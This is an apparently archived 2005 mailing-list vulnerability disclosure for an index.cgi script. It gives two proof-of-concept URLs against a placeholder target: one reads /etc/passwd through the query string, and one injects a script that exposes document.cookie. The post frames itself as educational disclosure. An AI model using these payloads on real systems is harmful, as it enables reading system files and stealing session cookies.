index.cgi script XSS + file show

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 




Tunis 24/04/2005
BUG found by fireboy
fireboy@xxxxxxxxxxxx



THERE ARE SOME BUGS IN 	index.cgi SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM 

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE 



1)file showing
http://www.target.com/index.cgi?/etc/passwd


2)CSS
http://www.target.com/index.cgi?<script>alert(document.cookie)</script>


greetz to all magattack members www.magattack.tk

[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux